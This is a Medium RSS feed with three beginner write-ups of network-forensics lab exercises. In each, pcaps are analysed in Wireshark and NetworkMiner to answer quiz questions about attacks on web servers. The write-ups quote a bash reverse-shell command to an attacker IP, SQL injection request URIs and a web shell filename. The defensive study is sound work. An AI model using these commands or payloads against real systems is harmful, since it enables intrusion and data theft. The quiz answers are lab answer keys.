<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohamed Elhawary on Medium]]></title>
        <description><![CDATA[Stories by Mohamed Elhawary on Medium]]></description>
        <link>https://medium.com/@yahyam253?source=rss-2c258f919f3d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NqBZhQhVj5YDCgjP8KFIiQ.jpeg</url>
            <title>Stories by Mohamed Elhawary on Medium</title>
            <link>https://medium.com/@yahyam253?source=rss-2c258f919f3d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 08:05:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yahyam253/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[web server attacck]]></title>
            <link>https://medium.com/@yahyam253/web-server-attacck-3d59e98b6917?source=rss-2c258f919f3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d59e98b6917</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohamed Elhawary]]></dc:creator>
            <pubDate>Wed, 18 Dec 2024 13:54:44 GMT</pubDate>
            <atom:updated>2024-12-18T14:11:58.639Z</atom:updated>
            <content:encoded><![CDATA[<h3>Web server attack</h3><p><strong>Scenario:</strong><br> Our SOC team has detected suspicious behavior on a web server within the company’s intranet, specifically related to an Apache Tomcat instance. To better understand the nature of the potential breach, network traffic was captured in a pcap file, which may contain evidence of malicious activity. Your task is to investigate the incident and analyze the network traffic.</p><p><strong>Q1. The captured pcap file reveals numerous requests across different ports, suggesting that the attacker might have scanned the server for vulnerabilities. Can you identify the IP address of the source responsible for initiating these requests?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IG0R0j2763Ze5HROSizZlw.jpeg" /></figure><p>Anaswer: here we can find the 3 ip addresses , they are 10.0.0.112 and 10.0.0.115 and 14.0.0.120</p><p>the first 2 ips are private ips and the third ip is a foreign ip and it is the attacker ,so the answer is 14.0.0.120</p><p><strong>Q2. Based on the attacker’s IP address, can you determine the geographical location, specifically the city, from which the attack originated?</strong></p><p>so we can check this ip in whatismyip website so we will get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0mqH6XCG68AsI2J6OluT2A.jpeg" /></figure><p>so we can find the answer : guangdon city in china</p><p><strong>Q3. Among the various open ports detected during the scan, one provides access to the web server’s administrative panel. Which port number corresponds to the admin panel?</strong></p><p>The answer : we have to search for the syn packet that is followed by the syn.ack packet, after opening it we will find in the transmission control protocol the destination port is {8080}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MPbeHY_eiq4n2FUDhqpJJA.jpeg" /></figure><p><strong>Q4. The attacker used certain tools to enumerate files and directories on the compromised web server. What tool(s) can you identify from the analysis that the attacker used for this enumeration process?</strong></p><p>The answer : to know the enumerating tool we have to find the http protocol packet going to the admin directory {/admin}</p><p>After opening it , we will find in the hyper text transfere protocol that the user agent or the enumeration tool is the {Gobuster}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5vGvGePetnV97RoNoNt_g.jpeg" /></figure><p><strong>Q5. During the enumeration process, the attacker was able to locate the directory associated with the administrative interface. What is the name of this directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0GILjUCNdmdw3GRTmJIMg.jpeg" /></figure><p>The answer is : if we searched for the from the get packet sent from the attacker with the ip address 14.0.0.120 we will find that this packet sent to reach the {/admin} directory.</p><p><strong>Q6. After finding the admin panel, the attacker attempted a brute force attack to gain access. What username and passing-code combination did they successfully use?</strong></p><p>The answer : to get the username and the password that the attacker entered we have to use the networkminer and open the pcap file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UVPL1WBqjmuGyu3sES5dZw.jpeg" /></figure><p>After uploading the packet to the networkminer and opened the credentials we will find the usernames and the passwords that the attacker have entered such as username of (admin)and and password of (tomcat) .</p><p><strong>Q7. Once authenticated, the attacker uploaded a malicious file with the intent to create a reverse shell. What is the name of the file uploaded?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0sF27nhSzngTe9ebJZH_g.jpeg" /></figure><p>The answer: if we opened the networkminer with our pcap file and opened the files and searched for the attacker ip address(14.0.0.120) we will find that the attacker uploaded a zip file called JXQOZY.war and this is the malicious file.</p><p><strong>Q8. To maintain persistence on the compromised server, the attacker scheduled a command to ensure they could reconnect later. What is the exact command they used?</strong></p><p>The answer: we have to search in the pacap file for the packet injected by the user in the web server with the malicious file called (JXQOZY)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DlF7ES2X1_AUvRTXioB4A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rupdes4p2YC7saYzBRiw2Q.jpeg" /></figure><p>After opening the packet from follow then tcp stream , in the second stream we can find the above stream with the backdoor command that the attacker use to connect to the web server at any tine</p><p>The command is : /bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’</p><p>This command is often used in penetration testing or malicious activities. It sets up a cron job that executes every minute, opening a reverse shell to the specified IP and port (14.0.0.120:443). A reverse shell allows the attacker to gain access to the victim&#39;s machine remotely.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d59e98b6917" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WEB INVESTIGATION]]></title>
            <link>https://medium.com/@yahyam253/web-investigation-143bc66cc98f?source=rss-2c258f919f3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/143bc66cc98f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohamed Elhawary]]></dc:creator>
            <pubDate>Mon, 16 Dec 2024 09:35:08 GMT</pubDate>
            <atom:updated>2024-12-16T09:35:08.614Z</atom:updated>
            <content:encoded><![CDATA[<p>You are a cybersecurity analyst working in the Security Operations Center (SOC) of BookWorld, an expansive online bookstore renowned for its vast selection of literature. BookWorld prides itself on providing a seamless and secure shopping experience for book enthusiasts around the globe. Recently, you’ve been tasked with reinforcing the company’s cybersecurity posture, monitoring network traffic, and ensuring that the digital environment remains safe from threats.</p><p>Late one evening, an automated alert is triggered by an unusual spike in database queries and server resource usage, indicating potential malicious activity. This anomaly raises concerns about the integrity of BookWorld’s customer data and internal systems, prompting an immediate and thorough investigation.</p><p>Question 1:By knowing the attacker’s IP, we can analyze all logs and actions related to that IP and determine the extent of the attack, the duration of the attack, and the techniques used. Can you provide the attacker’s IP?</p><p>Use the “Statistics” tab in Wireshark, then navigate to “Conversations” to see which IP addresses are communicating most actively. Look for anomalies, such as one IP sending a significantly higher number of packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OhMVLW1Cv3rHY7L-" /></figure><p>Question 2 :If the geographical origin of an IP address is known to be from a region that has no business or expected traffic with our network, this can be an indicator of a targeted attack. Can you determine the origin city of the attacker?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tdl6ffe-_cQhke5y" /></figure><p>Question 3: Identifying the exploited script allows security teams to understand exactly which vulnerability was used in the attack. This knowledge is critical for finding the appropriate patch or workaround to close the security gap and prevent future exploitation. Can you provide the vulnerable script name?</p><p>Use the Wireshark filter : (!(http.user_agent == “gobuster/3.6”)) &amp;&amp; !(http.response.code == 404) &amp;&amp; http to isolate relevant HTTP traffic. Look for repeatedly accessed script names, particularly a PHP script with SQL-like payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*MYHm09vdAXDhN2r9" /></figure><p>so the answer will be :search.php</p><p>Question 4:</p><p>Establishing the timeline of an attack, starting from the initial exploitation attempt, What’s the complete request URI of the first SQLi attempt by the attacker?</p><p>To get the url we have to open the related packet then we can find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/0*HBGuVP_lQ5Sc0Od2" /></figure><p>so the answer will be : /search.php?search=book%20and%201=1;%20 — %20-</p><p>Question 5 :Can you provide the complete request URI that was used to read the web server available databases?</p><p>Answer:Look for requests containing database-related keywords like INFORMATION_SCHEMA, which often signify attempts to enumerate database details.</p><p>then Refine your HTTP filter to exclude irrelevant requests: ((!(http.user_agent == &quot;gobuster/3.6&quot;)) &amp;&amp; !(http.response.code == 404) &amp;&amp; http) &amp;&amp; !(frame.len == 425) &amp;&amp; !(http.response.code == 500)</p><p>And Check packet 1520 for the relevant request URI. Decode the parameter values to fully analyze the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYu0LmUMagdUVI0Oc0metQ.png" /></figure><p>so the answer will be : /search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Cschema_name%29%29%2C0x7176706a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA — %20-</p><p>Question 6 : Assessing the impact of the breach and data access is crucial, including the potential harm to the organization’s reputation. What’s the table name containing the website users data?</p><p>to get the answer: we can Look for responses to the attacker’s SQLi attempts. The response might include database or table names.</p><p>and Focus on responses that list multiple table names. These often appear after UNION SELECT or similar SQL injection payloads.</p><p>then Packet 1553 contains a response revealing the table names. Identify which of these logically stores user data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5LaMkyuuv-lxcRLYKEyiQ.png" /></figure><p>so the answer will be : customers</p><p>Question 7 : The website directories hidden from the public could serve as an unauthorized access point or contain sensitive functionalities not intended for public access. Can you provide name of the directory discovered by the attacker?</p><p>to get the answer: Hidden directories are often discovered through directory enumeration tools like Gobuster. Look for 301 responses indicating redirections.</p><p>And Use the Wireshark filter : (!(http.user_agent == &quot;gobuster/3.6&quot;)) &amp;&amp; (http.response.code == 301) &amp;&amp; http, then examine the response headers of 301 status codes to identify the directory name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krRkSWS6C-lAimkOHR1THA.png" /></figure><p>so the answer will be : /admin/</p><p>Question 8: Knowing which credentials were used allows us to determine the extent of account compromise. What’s the credentials used by the attacker for logging in?</p><p>to get the answer: Analyze HTTP POST requests in the traffic. These are often associated with login attempts or credential submission.</p><p>and Use the filter http.request.method == POST to isolate relevant traffic. Look for evidence of credential retrieval or usage.</p><p>so The attacker’s credentials are revealed in the response to a POST request in packet 88757 and validated in the session logs of TCP stream 695.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*Bs5d0_vlUJVldh0ZJ4dQog.png" /></figure><p>so the answer will be: admin123!</p><p>Question 9 : We need to determine if the attacker gained further access or control on our web server. What’s the name of the malicious script uploaded by the attacker?</p><p>to get the name of the malicious script apply the Wireshark filter http.request.method == POST to locate file uploads. A malicious PHP script uploaded by the attacker is visible in the POST request details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMVix7hRd9oD9OnPKagWKQ.png" /></figure><p>so the file name : is NVri2vhp.php</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=143bc66cc98f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An anomaly was discovered within our company’s intranet as our Development team found an unusual…]]></title>
            <link>https://medium.com/@yahyam253/an-anomaly-was-discovered-within-our-companys-intranet-as-our-development-team-found-an-unusual-b7232b45c262?source=rss-2c258f919f3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7232b45c262</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohamed Elhawary]]></dc:creator>
            <pubDate>Sun, 15 Dec 2024 15:59:24 GMT</pubDate>
            <atom:updated>2024-12-15T15:59:24.247Z</atom:updated>
            <content:encoded><![CDATA[<p>An anomaly was discovered within our company’s intranet as our Development team found an unusual file on one of our web servers. Suspecting potential malicious activity, the network team has prepared a pcap file with critical network traffic for analysis for the security team, and you have been tasked with analyzing the pcap.</p><p>Question1 : Understanding the geographical origin of the attack aids in geo-blocking measures and threat intelligence analysis. What city did the attack originate from?</p><p>Answer: we can open the source and destination IP addresses in the pcap file. Only one of them should correspond to an external entity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ucv1fGjFgVQd_qd5QzcsMQ.jpeg" /></figure><p>by using whatis my ip we can get the answer is tianjin</p><p>question2 : Knowing the attacker’s user-agent assists in creating robust filtering rules. What’s the attacker’s user agent?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tE8hN0X9cx_O-OwFML4OEw.jpeg" /></figure><p>answer: is Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0</p><p>question 3: We need to identify if there were potential vulnerabilities exploited. What’s the name of the malicious web shell uploaded?</p><p>answer: we can Focus on packets with HTTP POST requests, which are commonly used for file uploads. Identify the source and destination IPs to isolate relevant traffic.</p><p>and Use the filter: ip.src == 117.11.88.124 &amp;&amp; http.request.method == &quot;POST&quot;. Analyze the HTTP POST packets by following the HTTP stream.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9GlXHZTrkXLtRLK9HqvyQ.jpeg" /></figure><p>by opening the follow we can get from the code</p><p>we can get the answer is image.jpg.php</p><p>question 4 : Knowing the directory where files uploaded are stored is important for reinforcing defenses against unauthorized access. Which directory is used by the website to store the uploaded files?</p><p>answer: Look for the web shell script in HTTP GET requests to track its execution. You’re looking for requests targeting the uploaded file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbNJ0bWfgbT09qG_XhWQ1g.jpeg" /></figure><p>so the answer is :/reviews/uploads/</p><p>question 5: Identifying the port utilized by the web shell helps improve firewall configurations for blocking unauthorized outbound traffic. What port was used by the malicious web shell?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1flx3Y5ItOrDipNzbkXnA.png" /></figure><p>answer: the answer will be 8080</p><p>question 6: What file was the attacker trying to exfiltrate?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bBo-dcQdjzqlVQyyfwUSLw.png" /></figure><p>answer: At the end of the TCP stream, look for a curl -X POST command. The file name should be visible as part of the data transfer payload</p><p>so the answer will be :passwd</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7232b45c262" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>